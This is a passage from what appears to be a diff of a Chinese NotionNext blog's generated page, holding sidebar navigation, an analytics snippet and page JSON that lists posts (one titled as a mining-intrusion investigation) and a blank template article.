hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"973ede9c-1a10-4482-be06-324fd481d34f":{"value":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","version":7,"type":"page","content":["97b83613-915a-4ab9-b3bd-d68db83d3dfe","76627ca2-ce5d-4b07-8adb-1d2baaceca38","3ef21e28-96e0-4b50-8043-d771fe23d0fc","95094071-4dd0-4628-86a6-d07b52bb9067","0460e20c-39fa-4594-801c-8f753bea4b61","44ea8fdc-6fe8-450d-af6d-f2d982217321","9662722c-31b7-4302-852b-2fe7427cc937","acb29127-3d87-47df-99c5-f56f06aab68f","c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","be3b1067-d077-4577-98b1-11c956cdafec","317692a5-d6ee-4280-a4ab-f2dfce327b3d","1f01e029-d2df-4c21-b861-37b1d26b4f34","1c513562-34eb-47dc-8f40-84dcc70cda9f","9f57a9c3-c1c0-4855-be67-6f499b8416fd"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"34bd81fe-b03a-4186-adfd-d51b94463aa0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630793512,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"34bd81fe-b03a-4186-adfd-d51b94463aa0","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"97b83613-915a-4ab9-b3bd-d68db83d3dfe":{"value":{"id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["ec4d6982-b479-4cd8-83e3-0decb842bb37"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"b67e0749-258c-4857-ba08-53489734171d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"b67e0749-258c-4857-ba08-53489734171d"}},"ec4d6982-b479-4cd8-83e3-0decb842bb37":{"value":{"id":"ec4d6982-b479-4cd8-83e3-0decb842bb37","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337156,"last_edited_time":1705594337156,"parent_id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","parent_table":"block","alive":true,"copied_from":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f"}},"76627ca2-ce5d-4b07-8adb-1d2baaceca38":{"value":{"id":"76627ca2-ce5d-4b07-8adb-1d2baaceca38","type":"text","format":{"copied_from_pointer":{"id":"8c180aeb-a4a7-41e2-8409-1023db2273ec","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"8c180aeb-a4a7-41e2-8409-1023db2273ec"}},"3ef21e28-96e0-4b50-8043-d771fe23d0fc":{"value":{"id":"3ef21e28-96e0-4b50-8043-d771fe23d0fc","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"ccdbf954-5571-4ea0-8990-279b4345a859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"ccdbf954-5571-4ea0-8990-279b4345a859"}},"95094071-4dd0-4628-86a6-d07b52bb9067":{"value":{"id":"95094071-4dd0-4628-86a6-d07b52bb9067","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"e85e174c-0944-4404-9186-a1e22e0d29dc","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"e85e174c-0944-4404-9186-a1e22e0d29dc"}},"0460e20c-39fa-4594-801c-8f753bea4b61":{"value":{"id":"0460e20c-39fa-4594-801c-8f753bea4b61","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"56654ee4-e22b-46b9-aa23-c09899f6dc3c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"56654ee4-e22b-46b9-aa23-c09899f6dc3c"}},"44ea8fdc-6fe8-450d-af6d-f2d982217321":{"value":{"id":"44ea8fdc-6fe8-450d-af6d-f2d982217321","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1"}},"9662722c-31b7-4302-852b-2fe7427cc937":{"value":{"id":"9662722c-31b7-4302-852b-2fe7427cc937","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"158af8f8-e821-4650-b339-855c4fde959c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"158af8f8-e821-4650-b339-855c4fde959c"}},"acb29127-3d87-47df-99c5-f56f06aab68f":{"value":{"id":"acb29127-3d87-47df-99c5-f56f06aab68f","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"7889a079-b667-4d4b-b03e-3a0636e2c604","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"7889a079-b667-4d4b-b03e-3a0636e2c604"}},"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5":{"value":{"id":"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"362ba40a-88a2-4a14-b90e-662d27139ea5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"362ba40a-88a2-4a14-b90e-662d27139ea5"}},"be3b1067-d077-4577-98b1-11c956cdafec":{"value":{"id":"be3b1067-d077-4577-98b1-11c956cdafec","type":"header","properties":{"title":[["📎 